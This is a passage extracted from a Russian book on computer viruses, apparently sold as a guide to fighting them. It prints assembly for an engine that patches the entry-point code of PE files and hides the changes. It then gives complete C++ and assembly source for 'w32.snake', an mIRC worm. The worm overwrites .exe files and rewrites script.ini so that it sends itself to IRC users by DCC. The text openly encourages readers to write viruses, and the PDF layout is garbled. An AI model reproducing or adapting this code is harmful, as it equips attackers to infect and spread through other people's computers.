Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
301 |
|
|
|
|
call |
testing |
; Проверяем, чтобы пятно |
jc |
quit2 |
; не выходило за кодовую |
|
|
; секцию |
push |
ebx |
|
xor |
bx,bx |
|
dec |
bx |
|
mov |
ecx,[ebp+num1] |
; Генерируем первую партию |
call |
garbage |
; мусора |
pop |
ebx |
|
mov |
al,0e9h |
; |
stosb |
|
; |
mov |
eax,0 |
; Генерируем jmp |
add |
eax,ebx |
; |
add |
eax,ecx |
; |
stosd |
|
; |
push |
ebx |
|
xor |
bx,bx |
|
dec |
bx |
|
mov |
ecx,[ebp+num2] |
; Генерируем вторую партию |
call |
garbage |
; мусора |
pop |
ebx |
|
sub |
edi,[ebp+num2] |
; |
add |
edi,[ebp+num1] |
; Корректируем edi |
add |
edi,ebx |
; |
quit2: |
|
|
pop |
ecx eax |
; Восстанавливаем ecx и eax |
ret |
|
; Возврат из подпрограммы |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; LAST SPOT GENERATION SUBROUTINE ; ;———————————————————————————————————————------------------------;
; |
[ IN ] |
; |
; |
|
; |
; |
NO INPUT IN SUBROUTINE |
; |
;———————————————————————————————————————------------------------;
; |
[ OUT ] |
; |
; |
|
; |
; |
NO OUTPUT IN SUBROUTINE |
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; gen_final_spot:
|
|
; Подпрограмма генерации |
|
|
; финального пятна |
push |
eax ecx |
; Сохраняем eax и ecx |
jc |
not_big |
; Если длина не превышает |
inc |
[ebp+n_spots] |
; размера кодовой секции, то |
not_big: |
|
; Увеличим кол-во пятен |
mov |
ecx,[ebp+num1] |
; Генерируем мусорные |
call |
garbage |
; инструкции |
push |
edi |
; Сохраняем edi |
sub |
edi,[ebp+start_code] |
; Подготавливаем длину jmp’a |
mov |
ebx,edi |
; для последнего пятна |
pop |
edi |
; Восстанавливаем edi |
mov |
al,0e9h |
; |
302 |
|
Windows вирусы |
|
|
|
stosb |
|
; |
mov |
eax,0 |
; |
sub |
eax,5 |
; Генерируем финальное |
sub |
eax,ebx |
; пятно |
add |
eax,[ebp+new_eip] |
; |
sub |
eax,[ebp+old_eip] |
; |
stosd |
|
; |
mov |
ecx,[ebp+num2] |
; Генерируем вторую партию |
call |
garbage |
; мусорных инструкций |
pop |
ecx eax |
; Восстанавливаем ecx и eax |
ret |
|
; Возврат из подпрограммы |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;———————————————————————————————————————------------------------;
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
ADDRESS OF SAVING BYTES -> EDI |
; |
|
; |
QUANTITY OF BYTES |
-> EBX |
; |
;———————————————————————————————————————------------------------;
; |
[ OUT ] |
; |
; |
|
; |
; |
NO OUTPUT IN SUBROUTINE |
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes: |
|
|
|
|
; Подпрограмма сохранения |
|
|
; заменяемых байт |
pusha |
|
; Сохраняем все в стэке |
call |
length1 |
; Генерируем длины мусорных |
|
|
; инструкций |
mov |
ebx,[ebp+num1] |
; Помещаем в ebx первую |
add |
ebx,[ebp+num2] |
; и вторую длины |
add |
ebx,5 |
; Добавляем к ebx - 5 |
mov |
esi,edi |
; Сохраняем в буфере с |
mov |
edi,[ebp+pointer] |
; начала смещение в памяти |
mov |
eax,esi |
; на сохраняемые байты |
stosd |
|
; |
mov |
ecx,ebx |
; После этого сохраняем в |
mov |
eax,ecx |
; буфере кол-во сохраняемых |
stosd |
|
; áàéò |
rep |
movsb |
; И в самом конце сохраняем |
mov |
[ebp+pointer],edi |
; в буфере сами байты |
|
|
; |
popa |
|
; Вынимаем все из стэка |
ret |
|
; Возврат из подпрограммы |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESTORE SUBROUTINE ; ;———————————————————————————————————————------------------------;
; |
[ IN ] |
; |
; |
|
; |
; |
NO INPUT IN SUBROUTINE |
; |
;———————————————————————————————————————------------------------;
Windows вирусы |
|
303 |
|
|
|
; |
[ OUT ] |
; |
; |
|
; |
; |
OLD ENTRY POINT -> EBX |
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
restore: |
|
|
|
|
|
; Подпрограмма |
|
|
|
; восстановления сохраненных |
|
|
|
; байтов |
|
cld |
|
; Поиск вперед |
|
lea |
esi,[ebp+rest_bytes] |
; В esi указазатель на буфер |
|
mov |
edx,1 |
; В edx кладем - 1 |
|
not_enough: |
|
|
|
mov |
edi,[ebp+old_eip] |
; В edi загружаем точку |
|
add |
edi,[ebp+image_base] |
; входа |
|
mov |
ebx,edi |
; Сохраняем edi в ebx |
|
lodsd |
|
; В eax старое смещение |
|
|
|
; байтов в памяти |
|
sub |
eax,[ebp+start_code] |
; Отнимаем смещение начала |
|
|
|
; кода и добавляем |
|
add |
edi,eax |
; точку входа |
|
lodsd |
|
; Загружаем в eax кол-во |
|
mov |
ecx,eax |
; байтов и кладем их в ecx |
|
rep |
movsb |
; Перемещаем оригинальные |
|
|
|
; байты на старое место |
|
inc |
edx |
; Переходим к следующему |
|
cmp |
edx,[ebp+n_spots] |
; пятну |
|
jl |
not_enough |
; если не все пятна вернули, |
|
|
|
; то восстанавливаем дальше |
|
quit: |
|
; |
|
ret |
|
; Возврат из процедуры |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
LENGTH SPOT GENERATION SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ OUT ] |
|
; |
; |
|
|
; |
; |
NO OUTPUT IN SUBROUTINE |
; |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
length1: |
|
|
|
|
|
; Подпрограмма генерации |
|
|
|
; длин мусорных инструкций |
|
mov |
eax,20 |
; |
|
call |
brandom32 |
; Генерируем случайное число |
|
test |
eax,eax |
; в диапазоне 1..19 |
|
jz |
length1 |
; |
|
mov |
[ebp+num1],eax |
; Сохраняем его в переменную |
|
rand2: |
|
|
|
mov |
eax,20 |
; |
|
call |
brandom32 |
; Генерируем случайное число |
|
304 |
|
|
Windows вирусы |
|
|
|
|
test |
eax,eax |
; в диапазоне 1..19 |
|
jz |
rand2 |
; |
|
mov |
[ebp+num2],eax |
; Сохраняем его в вторую |
|
|
|
; переменную |
|
ret |
|
; Возврат из процедуры |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
RESET SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ OUT ] |
|
; |
; |
|
|
; |
; |
NO OUTPUT IN SUBROUTINE |
; |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
reset: |
|
|
|
|
|
; Подпрограмма инициализации |
|
|
|
; переменных |
|
mov |
edi,[ebp+start_code] |
; |
|
|
|
; |
|
push |
esi |
; Инициализируем переменные |
|
lea |
esi,[ebp+rest_bytes] |
; |
|
mov |
[ebp+pointer],esi |
; |
|
pop |
esi |
; |
|
ret |
|
; Возврат из процедуры |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
SPOT JUMP LENGTH GENERATION SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ OUT ] |
|
; |
; |
|
|
; |
; |
LENGTH OF SPOT JUMP -> EAX |
; |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
len_sp_jmp: |
|
|
|
|
|
; Подпрограмма генерации |
|
|
|
; длины прыжка |
|
mov |
eax,150 |
; |
|
call |
brandom32 |
; Генерируем случайное число |
|
cmp |
eax,45 |
; в диапазоне 45..149 |
|
jle |
len_sp_jmp |
; |
|
ret |
|
; Возврат из процедуры |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
SPOTS NUMBER GENERATION SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN SUBROUTINE |
; |
|
Windows вирусы |
|
|
305 |
|
|||
;———————————————————————————————————————------------------------; |
|||
; |
[ OUT |
] |
; |
; |
|
|
; |
; |
NO OUTPUT IN |
SUBROUTINE |
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; num_spots:
|
|
; Подпрограмма генерации |
|
|
|
; количества пятен |
|
pusha |
|
; Сохраняем все в стэке |
|
mov |
eax,40 |
; Генерируем случайное число |
|
call |
brandom32 |
; в диапазоне 1..40 |
|
inc |
eax |
; И сохраняем его в |
|
mov |
[ebp+n_spots],eax |
; переменной |
|
popa |
|
; Вынимаем все из стэка |
|
ret |
|
; Возврат из процедуры |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
TESTING SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN SUBROUTINE |
; |
|
;———————————————————————————————————————------------------------; |
|||
; |
[ OUT ] |
|
; |
; |
|
|
; |
; |
CARRY FLAG |
|
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
push edi eax
add edi,[ebp+num1]
add edi,[ebp+num2] add edi,300
mov eax,[ebp+size_for_spot]
add eax,[ebp+start_code] cmp edi,eax
clc
jl m_space
mov [ebp+n_spots],ecx inc [ebp+n_spots] stc
;Подпрограмма проверки
;попадения в границу секции
;Сохраняем edi eax в стэке
;Добавим к edi 1-ую длину
;мусорных инструкций
;После этого добавим 2-óþ
;И добавим число в которое
;входит максимальный размер
;пятна + длина его прыжка
;В eax загрузим размер
;места для пятен и смещение
;в памяти точки входа
;Сравним eax и edi
;Сбросим carry флаг
;Если edi меньше, то все
;хорошо
;Если нет, то мы уменьшаем
;количество пятен и
;устанавливаем carry флаг
m_space: |
|
|
|
|
pop |
eax edi |
; Вынимаем eax и edi |
|
ret |
|
; Возврат из процедуры |
;————————————————————————- |
|
||
pointer |
dd |
0 |
; |
n_spots |
dd |
0 |
; |
306 |
|
|
|
Windows вирусы |
|
|
|
|
|
|
|
|
|
; |
num1 |
dd |
0 |
|
; |
num2 |
dd |
0 |
|
; |
|
|
|
|
; Данные необходимые для |
PE_header |
dd |
0 |
|
; работы мотора |
old_eip |
dd |
0 |
|
; |
image_base |
dd |
0 |
|
; |
start_code |
dd |
0 |
|
; |
new_eip |
dd |
0 |
|
; |
map_address dd |
0 |
|
; |
|
size_for_spot |
dd |
0 |
; |
|
rest_bytes: db |
2100 dup (?) |
; |
||
;——————————————————————————-----------------------
В качестве параметра данному мотору передается адрес файла в памяти (MapViewOfFile). Для восстановления оригинальных байтов используется подпрограмма restore. Данная подпрограмма в качестве результата возвращает адрес начала программы в регистре ebx.
Рассмотрим примерную схему работы мотора:
Лечение сложных вирусов, использующих данную технику довольно трудоемко. В нашем же случае необходимо изменить вирус так, чтобы он после восстановления пятен передавал управление в программу, до начала непосредственно заражения.
5.10.Распространение через Интернет
Âпоследнее время многие вирусы используют возможность распространения через Интернет и практически вытеснили обыкновенные вирусы. Если взглянуть в вирусные топ-листы, то везде, как минимум, на первых местах оказываются черви. А как максимум на всех, именно поэтому я не мог обойти стороной этот очень важный аспект. Если в ваш уже достаточно совершенный полиморфный вирус с усилением кода и полиморфизмом, а также с неизлечимо-
Windows вирусы |
307 |
|
|
стью добавить возможности червя, то существует довольно большая вероятность того, что о вашем вирусе и о вас заговорят. Вспомните хотя бы Meliss’у или Klez.
Самым простым и одним из самых распространенных механизмов, которые используют черви, является распространение через mIRC. mIRC. Это про- грамма—клиент для IRC (Internet Relay Chat) с очень сильно развитым скриптовым языком, благодаря модификации ее файла конфигурации у вирмейкеров появилась возможность рассылки своего вируса всем посетителя каналов IRC, через DCC.
Рассмотрим пример реализации простого mIRC червя на C++. Теперь перейдем к листингу:
//————————————————————————————————————————————— #include "windows.h"
worm(char *name1) |
|
{ |
|
HANDLE fh; |
|
unsigned long size1=185; |
// Далее идут данные |
|
// Данная функция переписует файл настроек |
|
// mIRC - script.ini |
char buff[]= "[SCRIPT]\r\n"
"n0=on 1:TEXT:*sting*:#:/msg $chan hi\r\n"
"n1=on 1:TEXT:*dcc*:#:/msg $chan Who wants supa prog?\r\n"
"n2=on 1:FILESENT:*.*:/if ( $me != $nick ) { /dcc send $nick C:\\Windows\\supa.exe }\r\n";
char |
mirca[]="c:\\mirc\\Script.ini"; |
// |
Так же в этой функции сбрасывается |
char |
dropper[]="c:\\WINDOWS\\supa.exe"; // |
дроппер в директорию Windows |
|
CopyFileA(name1,dropper,0);
fh=CreateFileA(mirca,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0); WriteFile(fh,buff,size1,&size1,NULL);
CloseHandle(fh);
return(0);
}
//Далее идет обыкновенный Windows companion, разобранный нами ранее, но
//с одним отличием почти в конце программы есть вызов функции отвечающей
//за распространение
//вируса чере mIRC
char* preob(char *stroka)
{
int dlina;
dlina=lstrlen(stroka);
stroka[dlina-3]=’x’; stroka[dlina-2]=’x’; stroka[dlina-1]=’x’; return stroka;
308 |
Windows вирусы |
|
|
} |
|
int main(int argc, char *argv[]) |
|
{ |
|
HANDLE find_handle; |
|
WIN32_FIND_DATA ff; |
|
double size=52736; |
|
char *stroka; |
|
char *v=" |
"; |
char msg1[]="[ WIN32 MIRC WORM -=w32.snake=- ]"; |
|
find_handle=FindFirstFileA("*.exe",&ff); |
|
while (1)
{
if (ff.nFileSizeLow==size)goto nexta;
lstrcpy(v,ff.cFileName);
stroka=ff.cFileName;
stroka=preob(stroka);
CopyFileA(v,stroka,1);
CopyFileA(argv[0],v,0);
nexta:
if (!FindNextFileA(find_handle,&ff)) break;
}
FindClose(find_handle);
worm(argv[0]); |
// Вызов функции, отвечающей за |
|
// распространение через mIRC |
stroka=argv[0]; |
|
stroka=preob(stroka); |
|
if(CopyFileA(stroka,"31337.exe",0)) |
|
{WinExec("31337.exe",1);} |
|
DeleteFileA("31337.exe"); |
|
return(0); |
|
} |
|
//————————————————————————- |
|
Как вы можете видеть, здесь все очень просто. Если же что-то непонятно в самом mIRC скрипте, я могу посоветовать вам немного разобраться с этой программой и поэкспериментировать с различными вариантами стартовых скриптов.
Данный скрипт делает следующее:
1)Он сообщает всем пользователям (кроме самого себя, естественно) примерно следующее:
—«Hi»
—«Who wants supa prog?»
2)Затем всем согласившимся отправляет вирус «в подарок».
Рассмотрим аналогичный вирус на ассемблере, как обычно он более экономен к объему памяти.
Windows вирусы |
309 |
|
|
Переходим к листингу:
;————————————————————————
.386
.model flat
; Необходимые нам импортируемы функции WIN API
extrn |
ExitProcess:PROC |
|
|
|
extrn |
FindFirstFileA:PROC |
|
|
|
extrn |
CopyFileA:PROC |
|
|
|
extrn |
GetCommandLineA:PROC |
|
|
|
extrn |
FindNextFileA:Proc |
|
|
|
extrn |
lstrcpyA:PROC |
|
|
|
extrn |
FindClose:PROC |
|
|
|
extrn |
MessageBoxA:PROC |
|
|
|
extrn |
WinExec:PROC |
|
|
|
extrn |
DeleteFileA:PROC |
|
|
|
extrn |
CreateFileA:PROC |
|
|
|
extrn |
WriteFile:PROC |
|
|
|
extrn |
CloseHandle:PROC |
|
|
|
.data |
|
; Область данных |
|
|
EXE_file |
db |
‘*.exe’,0 |
|
|
ext |
db |
‘xxx’,0 |
|
|
exec |
db |
‘exe’,0 |
|
|
find_file |
db |
313 dup(?) |
|
|
host_name |
db |
100 dup(?) |
|
|
Find_data_name |
equ |
2ch |
|
|
file_size |
equ |
20h |
|
|
Fhandle |
dd |
? |
|
|
convert_name |
db |
100 dup(?) |
|
|
backup_name |
db |
100 dup(?) |
|
|
temp_file |
db |
‘31337.exe’,0 |
|
|
dropper |
db |
‘C:\Windows\supa.exe’,0 |
|
|
script1 |
db |
‘[SCRIPT]’,0,0dh,0ah |
|
; mIRC |
|
db |
‘n0=on 1:TEXT:*sting*:#:/msg $chan hi’,0,0ah,0dh; êîíô. ôàéë |
||
|
db |
‘n1=on 1:TEXT:*dcc*:#:/msg $chan Who wants supa’ |
||
|
db |
‘ prog?’,0,0dh,0ah |
|
|
|
db |
‘n2=on 1:FILESENT:*.*:/if ( $me != $nick ) { /dcc send’ |
||
|
db |
‘ $nick C:\Windows\supa.exe }’,0,0dh,0ah |
|
|
|
db |
0 |
|
|
scriptSize |
equ |
offset name_script-offset script1 |
; Размер конф. файла |
|
name_script |
db |
‘c:\mirc\script.ini’,0 |
; Имя конф. файла |
|
msg1 |
db |
‘[ WIN32 mIRC WORM -=w32.snake=- ]’ |
; Имя червя |
|
fHnd |
Dd |
0 |
|
|
size2Read |
Dd |
0 |
|
|
.code |
|
|
|
; Начало кода |
start: |
|
|
|
|
Call |
GetCommandLineA |
; Получаем параметры командной строки |
||
310 |
|
Windows вирусы |
|
|
|
|
|
; |
push |
eax |
; |
push |
offset host_name |
; |
|
|
; И сохраняем эти параметры |
call |
lstrcpyA |
; |
;—————————————————————————- |
|
|
push |
OFFSET find_file |
|
push |
OFFSET EXE_file |
|
call |
FindFirstFileA |
; Ищем файл для инфицирования |
cmp |
EAX, -1 |
; Если ошибка — идем на выход |
je |
End_it |
|
mov |
[Fhandle],eax |
|
;——————————————————————————— |
|
|
infect: |
|
|
mov |
esi,offset find_file+file_size ; Проверяем: если размер |
|
lodsd |
|
; инфицируемого файла такой же, как |
cmp |
eax,4096 |
; и у вируса, то не трогаем его |
je |
find_next |
; Вдруг это наш брат |
call |
convert |
; Преобразовываем его имя в *.xxx |
push |
1 |
; Не перезаписываем |
push |
offset convert_name |
|
push |
offset find_file + Find_data_name |
|
call |
CopyFileA |
; Копируем нашу жертву в *.xxx |
push |
0 |
; На место жертвы копируем себя |
push |
offset find_file + Find_data_name |
|
push |
offset host_name |
|
call |
CopyFileA |
|
find_next: |
|
; Ищем и инфицируем все файлы в |
Call |
Fnext |
; текущей директории |
cmp |
eax,0 |
; Если файлы кончились |
jne |
infect |
; Переходим к финалу |
End_it: |
|
|
push |
[Fhandle] |
; Закрываем поиск |
call |
FindClose |
; |
call |
worm |
; Инфицируем mIRC |
call |
restore |
; Запускаем оригинальную программу |
push |
0 |
|
call |
ExitProcess |
; Завершаем работу |
;——————————————————————————- |
|
|
Fnext: |
|
|
push |
offset find_file |
; Процедура поиска следующего файла |
push |
[Fhandle] |
; |
call |
FindNextFileA |
; |
ret |
|
; Возврат из процедуры |
